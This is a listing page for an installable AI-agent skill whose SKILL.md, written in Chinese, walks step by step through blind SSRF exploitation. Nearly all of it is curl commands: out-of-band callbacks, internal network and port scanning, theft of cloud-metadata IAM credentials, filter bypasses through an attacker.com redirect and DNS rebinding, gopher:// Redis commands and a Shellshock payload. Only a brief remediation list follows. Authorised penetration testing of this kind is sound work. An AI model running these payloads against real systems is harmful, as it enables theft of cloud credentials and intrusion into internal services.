Best use case
performing-blind-ssrf-exploitation is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
使用带外技术、DNS 交互和时序分析检测并利用盲 SSRF 漏洞,以访问内部服务和云元数据端点。
Teams using performing-blind-ssrf-exploitation should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/performing-blind-ssrf-exploitation/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How performing-blind-ssrf-exploitation Compares
| Feature / Agent | performing-blind-ssrf-exploitation | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
使用带外技术、DNS 交互和时序分析检测并利用盲 SSRF 漏洞,以访问内部服务和云元数据端点。
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# 执行盲 SSRF 利用(Performing Blind SSRF Exploitation)
## 适用场景
- 测试服务器端响应未被反映的 URL/Webhook 输入参数时
- 评估获取外部资源的应用程序(头像、预览、导入)时
- 测试 PDF 生成器、图像处理器或文档转换器的 SSRF 漏洞时
- 进行云安全评估以检测元数据端点访问时
- 评估 Webhook 功能和 URL 验证实现时
## 前置条件
- 带有 Burp Collaborator 的 Burp Suite Professional,用于带外(OOB)检测
- interact.sh 或 webhook.site,用于外部回调监控
- 了解 SSRF 攻击向量和内网枚举
- 掌握云元数据端点知识(AWS、GCP、Azure)
- 用于高级利用回调处理的 VPS 或受控服务器
- 带有 requests 库的 Python,用于自动化脚本
## 工作流程
### 步骤 1 — 识别盲 SSRF 输入点
```bash
# 常见易受 SSRF 攻击的参数:
# url=, uri=, path=, dest=, redirect=, src=, source=
# link=, imageURL=, callback=, webhook=, feed=, import=
# 测试 URL 获取功能
curl -X POST http://target.com/api/fetch-url \
-H "Content-Type: application/json" \
-d '{"url": "http://BURP-COLLABORATOR-SUBDOMAIN.oastify.com"}'
# 测试 Webhook 配置
curl -X POST http://target.com/api/webhooks \
-H "Authorization: Bearer TOKEN" \
-H "Content-Type: application/json" \
-d '{"callback_url": "http://COLLABORATOR.oastify.com/webhook"}'
# 测试图片/头像 URL
curl -X POST http://target.com/api/profile/avatar \
-H "Authorization: Bearer TOKEN" \
-H "Content-Type: application/json" \
-d '{"avatar_url": "http://COLLABORATOR.oastify.com/avatar.png"}'
# 测试文档导入
curl -X POST http://target.com/api/import \
-H "Content-Type: application/json" \
-d '{"import_url": "http://COLLABORATOR.oastify.com/data.csv"}'
```
### 步骤 2 — 使用带外检测确认盲 SSRF
```bash
# 使用 Burp Collaborator 进行 DNS + HTTP 回调
# 生成 Collaborator 载荷:xxxxxx.oastify.com
# 基于 DNS 的检测(即使 HTTP 被封锁也有效)
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://dns-only-test.COLLABORATOR.oastify.com"}'
# 检查 Collaborator 中的 DNS 查询
# 基于 HTTP 的检测
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://http-test.COLLABORATOR.oastify.com"}'
# 检查 Collaborator 中的 HTTP 请求
# interact.sh 替代方案
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://RANDOM.interact.sh"}'
# 监控 interact.sh 仪表板的交互
```
### 步骤 3 — 枚举内部网络
```bash
# 通过盲 SSRF 扫描内部 IP 段
# 使用时序差异判断主机是否存活
# 扫描常见内网段
for ip in 10.0.0.{1..10} 172.16.0.{1..10} 192.168.1.{1..10}; do
start=$(date +%s%N)
curl -X POST http://target.com/api/fetch -d "{\"url\": \"http://$ip/\"}" -s -o /dev/null --max-time 5
end=$(date +%s%N)
elapsed=$(( (end - start) / 1000000 ))
echo "$ip: ${elapsed}ms"
done
# 通过盲 SSRF 进行端口扫描
for port in 80 443 8080 8443 3000 5000 6379 27017 5432 3306 9200; do
curl -X POST http://target.com/api/fetch \
-d "{\"url\": \"http://127.0.0.1:$port/\"}" -s -o /dev/null -w "%{time_total}\n"
echo "端口 $port 已测试"
done
# 使用 gopher:// 进行更高级的内部服务交互
curl -X POST http://target.com/api/fetch \
-d '{"url": "gopher://127.0.0.1:6379/_INFO"}'
```
### 步骤 4 — 访问云元数据端点
```bash
# AWS 元数据(IMDSv1)
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://169.254.169.254/latest/meta-data/"}'
# AWS IAM 凭证
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# GCP 元数据
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://metadata.google.internal/computeMetadata/v1/"}'
# Azure 元数据
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}'
# DNS 重绑定访问元数据(绕过 IP 封锁)
# 使用 rebinder.net 等服务创建 DNS 重绑定域名
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://A.169.254.169.254.1time.YOUR-REBIND-DOMAIN.com/"}'
```
### 步骤 5 — 绕过 SSRF 过滤器
```bash
# IP 表示绕过
curl -X POST http://target.com/api/fetch -d '{"url": "http://0x7f000001/"}' # 十六进制
curl -X POST http://target.com/api/fetch -d '{"url": "http://2130706433/"}' # 十进制
curl -X POST http://target.com/api/fetch -d '{"url": "http://0177.0.0.1/"}' # 八进制
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.1/"}' # 简短形式
curl -X POST http://target.com/api/fetch -d '{"url": "http://[::1]/"}' # IPv6
# URL 解析混淆
curl -X POST http://target.com/api/fetch -d '{"url": "http://target.com@127.0.0.1/"}'
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.0.0.1#@target.com/"}'
# 基于重定向的绕过
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://attacker.com/redirect?url=http://169.254.169.254/"}'
# DNS 重绑定
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://make-169-254-169-254-rr.1u.ms/"}'
```
### 步骤 6 — 将盲 SSRF 升级为数据外泄
```bash
# 通过 DNS 外泄数据(仅 DNS 回调有效时)
# 如果能实现反映数据的服务的 SSRF:
# 链条:SSRF -> 内部服务 -> DNS 外泄
# 使用 gopher 协议执行 Redis 命令
curl -X POST http://target.com/api/fetch \
-d '{"url": "gopher://127.0.0.1:6379/_SET%20ssrf_test%20exploited%0AQUIT"}'
# 将盲 SSRF 与内部主机的 Shellshock 结合利用
curl -X POST http://target.com/api/fetch \
-d '{"url": "http://internal-cgi-server/cgi-bin/test.sh"}'
# 配合 User-Agent: () { :; }; /bin/bash -c "ping -c1 COLLABORATOR.oastify.com"
# 通过 SSRF 利用内部服务
# Redis:写入 SSH 密钥
# Memcached:注入序列化对象
# Elasticsearch:读取索引
# 内部 API:访问已认证端点
```
## 核心概念
| 概念 | 定义 |
|---------|-------------|
| 盲 SSRF(Blind SSRF) | 服务器发出请求但响应对攻击者不可见 |
| 带外检测(Out-of-Band Detection) | 使用外部回调(DNS、HTTP)确认 SSRF 执行 |
| DNS 重绑定(DNS Rebinding) | 通过更改 DNS 解析绕过基于 IP 的 SSRF 过滤器的技术 |
| 云元数据(Cloud Metadata) | 可通过 SSRF 访问的实例元数据端点,用于凭证窃取 |
| Gopher 协议 | 允许构造载荷与内部 TCP 服务交互的协议 |
| 时序检测(Time-Based Detection) | 通过测量响应时间差异检测 SSRF 成功 |
| SSRF 链(SSRF Chain) | 将 SSRF 与其他漏洞结合以获得更大影响 |
## 工具与系统
| 工具 | 用途 |
|------|---------|
| Burp Collaborator | 用于 DNS 和 HTTP 回调检测的带外交互服务器 |
| interact.sh | ProjectDiscovery 的开源带外交互工具 |
| SSRFmap | 自动化 SSRF 检测和利用框架 |
| Gopherus | 生成用于通过 SSRF 利用内部服务的 gopher 载荷 |
| webhook.site | 用于测试 SSRF 回调的免费 Webhook 接收器 |
| rebinder.net | 用于绕过 SSRF IP 过滤器的 DNS 重绑定服务 |
## 常见场景
1. **云凭证窃取** — 利用盲 SSRF 访问 AWS/GCP/Azure 元数据端点,窃取 IAM 凭证用于云账户入侵
2. **内部服务发现** — 使用基于时序的盲 SSRF 枚举内网主机和开放端口
3. **Redis 利用** — 将盲 SSRF 与 gopher:// 协议结合,在内部 Redis 实例上执行命令
4. **Webhook 滥用** — 利用 Webhook URL 字段扫描内网并通过带外通道外泄数据
5. **PDF 生成器 SSRF** — 向 PDF 生成功能注入内部 URL,在渲染的文档中外泄内部内容
## 输出格式
```
## 盲 SSRF 评估报告
- **目标**:http://target.com/api/fetch-url
- **检测方法**:Burp Collaborator DNS + HTTP 回调
- **内部访问已确认**:是
### 发现
| # | 输入点 | 载荷 | 检测 | 影响 |
|---|------------|---------|-----------|--------|
| 1 | POST /api/fetch url 参数 | http://collaborator | HTTP 回调 | 确认 SSRF |
| 2 | POST /api/avatar avatar_url | http://169.254.169.254 | 时序(2.3s vs 0.1s) | 云元数据 |
| 3 | POST /api/webhook callback | gopher://127.0.0.1:6379 | Redis 写入已确认 | 潜在 RCE |
### 内网地图
| 主机 | 端口 | 服务 | 可访问 |
|------|------|---------|-----------|
| 10.0.0.5 | 6379 | Redis | 是 |
| 10.0.0.10 | 9200 | Elasticsearch | 是 |
| 169.254.169.254 | 80 | AWS 元数据 | 是 |
### 修复建议
- 对 URL 获取实施允许的外部域白名单
- 封锁对私有 IP 段和云元数据端点的请求
- 对 AWS 实例元数据使用 IMDSv2(需要令牌)
- 禁用未使用的 URL 协议(gopher、file、dict)
- 为应用程序服务器实施网络级别分段
```Related Skills
performing-yara-rule-development-for-detection
通过识别可执行文件中的唯一字节模式、字符串和行为指标,开发精准的 YARA 恶意软件检测规则,同时将误报率降至最低。
performing-wireless-security-assessment-with-kismet
使用 Kismet 通过被动射频监控进行无线网络安全评估,检测流氓接入点(Rogue AP)、隐藏 SSID、弱加密和未授权客户端。
performing-wireless-network-penetration-test
执行无线网络渗透测试,通过捕获握手包、破解 WPA2/WPA3 密钥、检测流氓接入点以及使用 Aircrack-ng 和相关工具测试无线网络分段,评估 WiFi 安全性。
performing-windows-artifact-analysis-with-eric-zimmerman-tools
使用 Eric Zimmerman 的开源 EZ Tools 套件(包括 KAPE、MFTECmd、PECmd、LECmd、JLECmd 和 Timeline Explorer)执行全面的 Windows 取证制品分析,解析注册表 hive、预取文件、事件日志和文件系统元数据。
performing-wifi-password-cracking-with-aircrack
在授权无线安全评估中捕获 WPA/WPA2 握手包,并使用 aircrack-ng、hashcat 和字典攻击进行离线密码破解, 以评估密码短语强度和无线网络安全状况。
performing-web-cache-poisoning-attack
在授权安全测试期间,通过未纳入缓存键的头部和参数毒化缓存响应,利用 Web 缓存机制向其他用户投递恶意内容。
performing-web-cache-deception-attack
通过利用 CDN 缓存层与源服务器之间的路径规范化差异,执行 Web 缓存欺骗攻击,从而缓存并获取敏感的已认证内容。
performing-web-application-vulnerability-triage
使用 OWASP 风险评级方法论对 DAST/SAST 扫描器的 Web 应用程序漏洞发现进行分类,区分真阳性和假阳性,并确定修复优先级。
performing-web-application-scanning-with-nikto
Nikto 是一款开源 Web 服务器和 Web 应用程序扫描器,可针对超过 7,000 个潜在危险文件/程序进行测试,检查超过 1,250 个服务器的过期版本,并识别超过 270 个服务器的版本特定问题。
performing-web-application-penetration-test
遵循 OWASP Web 安全测试指南(WSTG)方法论,对 Web 应用程序执行系统化安全测试,识别认证、授权、 输入验证、会话管理和业务逻辑中的漏洞。测试人员以 Burp Suite 作为主要拦截代理,结合手动测试技术 发现自动化扫描器遗漏的缺陷。适用于 Web 应用渗透测试、OWASP 测试、应用安全评估或 Web 漏洞测试等请求场景。
performing-web-application-firewall-bypass
使用编码技术、HTTP 方法操控、参数污染和载荷混淆绕过 Web 应用防火墙保护,将 SQL 注入、XSS 及其他攻击载荷穿透 WAF 检测规则。
performing-vulnerability-scanning-with-nessus
使用 Tenable Nessus 执行认证和未认证漏洞扫描,识别网络基础设施、服务器和应用程序中的已知漏洞、 错误配置、默认凭据和缺失补丁。扫描器将发现与 CVE 数据库和 CVSS 评分关联,生成优先级修复指导。 适用于漏洞扫描、Nessus 评估、补丁合规检查或自动化漏洞检测等请求场景。